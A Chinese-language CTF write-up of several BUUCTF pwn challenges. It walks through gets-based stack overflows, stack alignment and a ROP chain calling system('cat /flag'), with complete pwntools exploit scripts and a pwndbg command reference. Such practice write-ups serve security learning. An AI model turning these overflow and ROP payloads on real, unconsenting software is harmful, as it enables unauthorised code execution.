Pwn刷题
test_your_nc
nc就行,不过有附件可以分析一下

就是/bin/bash,所以nc上去就是shell
1
2
3
|
from pwn import *
r = remote("node5.buuoj.cn",27726)
r.interactive()
|
rip
先checksec
64位没有栈保护

main函数里面有gets函数,gets函数不会检查输入字符串的长度,若用户输入的字符串长度超过了 str 所指向数组的大小,就会发生缓冲区溢出。
gets若没有遇到 \n 结束,则会无限读取,没有上限。
gets函数这行的意思是它会把我们在“please input”后输入的东西放进&s中(即gets函数的缓冲区)
双击s

自上往下从第一个函数s到最后一个函数s的地址(都是标蓝的)便是缓冲区大小,可以看到跟前面定义的一样为15
然后查看字符串shift+F12

有system和/bin/bash,双击/bin/bash,要双击左边那个地址
然后Ctrl+X查看哪里调用了它,直接定位到fun函数

现在思路就是利用gets的溢出,返回的地址是fun函数的地址执行fun函数

记录fun函数的地址0x401186
其实在这里直接溢出写exp就行了
1
2
3
4
5
|
from pwn import *
r = remote("node5.buuoj.cn",27884)
payload = b'a'*15 + p64(0x401186)
r.sendline(payload)
r.interactive()
|
这里记录一下其他解法
堆栈平衡
需要找lea的地址或者该函数结束即retn的地址
可以拖动ida上方蓝条

这里可以看到lea地址是0x40118A,retn地址是0x401198,由于这个程序是64位的,所以寄存器rbp大小是8
所以前面的15+8=23,因为要保持堆栈平衡,说白了就是对齐
第一种直接后门函数地址+1
1
2
3
4
5
|
from pwn import *
r = remote("node5.buuoj.cn",27884)
payload = b'a'*23 + p64(0x401186+1)
r.sendline(payload)
r.interactive()
|
这里加1的话,实际上就从86跳到87

直接跳过了push rbp这8个字节,到mov这里,rbp不变,rsp在mov这步才会不变,这样才会使rsp满足16字节对齐
或者直接跳到8A这里,也会对齐
1
2
3
4
5
|
from pwn import *
r = remote("node5.buuoj.cn",27884)
payload = b'a'*23 + p64(0x40118A)
r.sendline(payload)
r.interactive()
|
warmup_csaw_2016
首先还是checksec

没有canary,说明可以栈溢出,没有NX,栈上代码可以执行,没有PIE,代码段的地址是固定的
依旧打开ida看一下,反编译main函数看看

依旧gets函数,这里sprintf也可能栈溢出,不过这里的换行符\n了,不能栈溢出
跟上题一样的做法,双击变量v5看看长度

双击是直接定位到了var_40这里,这里左边0x40就是64,下面返回地址是8,所以溢出到返回地址就是0x40+8,这里也可以动调看偏移量
然后shift+f12去找后面函数或者别的方法

点进去,其实可以右键看调用图,也就是点进去右键Xrefs graph to

发现是sub_40060D调用了它

头地址是0x40060D,依旧拖动上面看看具体的汇编代码

执行读flag地址是0x400611
1
2
3
4
5
|
from pwn import *
r = remote("node5.buuoj.cn",28200)
p = b'a'*(0x40+8) + p64(0x400611)
r.sendline(p)
r.interactive()
|
下面记录一下简单的gdb动调程序的过程
常用指令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
**************************************************
pwndbg> start
# 开始运行,会停留在start函数上(start函数是main函数之前的一个函数)
**************************************************
pwndbg> q
# 退出调试
**************************************************
pwndbg> r
# 从头运行程序直到遇到断点,没有断点则会一直运行到结束
**************************************************
pwndbg> c
# 继续执行程序直到遇到断点,没有断点则会一直运行到结束
**************************************************
pwndbg> n
# 单步步过,n不会进入一个小函数
**************************************************
pwndbg> ni
# 常用,同n,但是是汇编层面的一步
**************************************************
pwndbg> s
# 步入,比如遇到一个call 什么什么函数,s会进入看看怎么个事
**************************************************
pwndbg> si
# 常用,同s,但是是汇编层面的一步
**************************************************
pwndbg> fini
# 快速运行结束当前函数
**************************************************
pwndbg> context
# 重新打印页面信息
**************************************************
pwndbg> b function_name
# 比如: b read 在read函数上下断点,运行到read函数的时候就会停止
**************************************************
pwndbg> b *(&function_name+offset)
# 比如: b *(&read + 10) 在read函数+10的地址上下断点,运行到这个地址的时候就会停止
**************************************************
pwndbg> b *0xaddr
# 比如: b *0x408010 那么程序运行到0x408010这个地址的时候就会停止
**************************************************
pwndbg> i b
# 查看断点信息,哪些地方打了断点
**************************************************
pwndbg> delete <断点序号>
# 删除断点序号对应的断点,单独一个delete会删除所有断点
**************************************************
pwndbg> i r
# 查看所有寄存器中存储的数据
**************************************************
pwndbg> i r <registers>
# 查看具体某一个寄存器的值 比如: pwndbg> i r rax
**************************************************
pwndbg> stack <int>
# 查看栈中的信息,具体数量填在stack后面,比如: stack 50
**************************************************
pwndbg> search <string>
# 在程序中查看字符串,可以查看自己输入的信息被存在什么地方了
**************************************************
pwndbg> set $<rigister> = <int>
# 使用set来给寄存器设置自定义的值
**************************************************
pwndbg> bt
# 查看我们当前这个函数的上一个函数是什么
**************************************************
pwndbg> vmmap
# 查看程序各个段的位置以及权限等信息
**************************************************
pwndbg> elf
# 查看elf文件信息
**************************************************
pwndbg> bins
# 查看释放的堆块
**************************************************
pwndbg> heap
# 查看正在使用的堆块
**************************************************
|
这里我们start或者run,注意这里如果刚拖到虚拟机里面的附件要给权限
1
|
chmod +x warmup_csaw_2016
|
这里进调试,先生成字符串
然后run程序,或者先run程序,再生成这个字符串,再按c进行continue就行
输入后程序会崩掉,可以查看rbp的值,再用cyclic计算偏移量

这里学习一下x指令和p指令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
# x 命令用于查看内存中的数据。它可以显示指定地址或变量所占内存的内容。
语法如下:x/[n][f][u] addr
n:可选,表示要显示的单元数量,默认为1。
f:可选,表示显示的格式,常见格式包括:
d:十进制整数
x:十六进制
o:八进制
c:字符
f:浮点数
u:可选,表示数据单位,常见单位包括:
b:字节
h:半字(2 字节)
w:字(4 字节)
g:巨字(8 字节)
例子:
x/10x 0x7fffffffe000 # 将以十六进制格式显示从 0x7fffffffe000 开始的10个字节的内容
x/4d my_array # 将以十进制格式查看 my_array 数组的前4个元素
# p 命令用于打印变量的值,通常用于查看变量的当前状态。
语法如下:p [expression]
expression:要打印的变量名或表达式。
例子:
p my_variable # 将输出 my_variable 的当前值
p &my_variable # 使用 & 操作符可以打印变量的地址
|
ciscn_2019_n_1
checksec

还是没有栈保护,但是有NX,防止注入shellcode,我们之前的攻击方式都叫做ROP,也就是栈溢出覆盖返回地址
ida打开看mian函数

看func函数

可以发现又一次使用gets,可以栈溢出,这里可以看到当v2等于后面那个数的时候,会执行cat /flag
所以这里有两种解法,第一种就是直接利用gets的栈溢出,挟持返回地址到system函数执行cat /flag的地方,第二种就是满足v2的条件,同样也是利用栈溢出来修改v2的值
依旧双击v1变量看看长度

可以看出v1和v2的距离是0x30-0x4,v2的内容只有4字节,因为它是浮点数,通过计算11.28125的16进制是0x41348000,这里把v1填满之后,再填入4字节的数据就会把v2的值覆盖,满足条件后拿到flag
1
2
3
4
5
|
from pwn import *
r = remote("node5.buuoj.cn",29089)
p = b'a'*(0x30-0x4)+p64(0x41348000)
r.sendline(p)
r.interactive()
|
另一种就找到func函数中执行命令的地址

可以发现是0x4006BE
1
2
3
4
5
|
from pwn import *
r = remote("node5.buuoj.cn",29089)
p = b'a'*(0x30+8)+p64(0x4006BE)
r.sendline(p)
r.interactive()
|
这题也能用ROP来写,先列出gadget

可以发现pop rdi;ret这个gadget,现在我们想要做到的是system('cat /flag')
找system的地址

这里要选择上面那个_system,因为它是plt部分的,是可以执行的system(PLT 位于代码段(.text 段附近),它是 可执行 的),而下面那个system,它其实是个存储槽位,它的内存里保存的是 system 函数在内存中的真正起始地址,它是 8 个字节的数据,不是指令,一般用来泄露libc地址
然后找命令的地址

有了这三个地址,我们就能构造ROP了,但是这里system 函数内部会调用一条汇编指令:movaps,movaps 指令要求操作数的地址必须是 16 字节对齐 的,如果执行 movaps 时,栈指针(RSP 寄存器)没有对齐到 16 字节,CPU 就会抛出异常,导致程序崩溃,我们如果只用这三个地址,rsp增加3*8不是16的倍数,所以会报错,必须补上一个8字节的指令ret,这个ret的作用就是从栈上弹出一个8字节的地址,然后跳转过去
所以我们得到
1
|
payload = b'a'*0x38 + p64(ret) + p64(pop_rdi) + p64(catflag) + p64(system)
|
完整exp
1
2
3
4
5
6
7
8
9
|
from pwn import *
p=remote('node5.buuoj.cn',26015)
pop_rdi=0x400793
ret=0x400501
catflag=0x4007cc
system=0x400530
payload = b'a'*0x38 + p64(ret) + p64(pop_rdi) + p64(catflag) + p64(system)
p.sendline(payload)
p.interactive()
|
pwn1_sctf_2016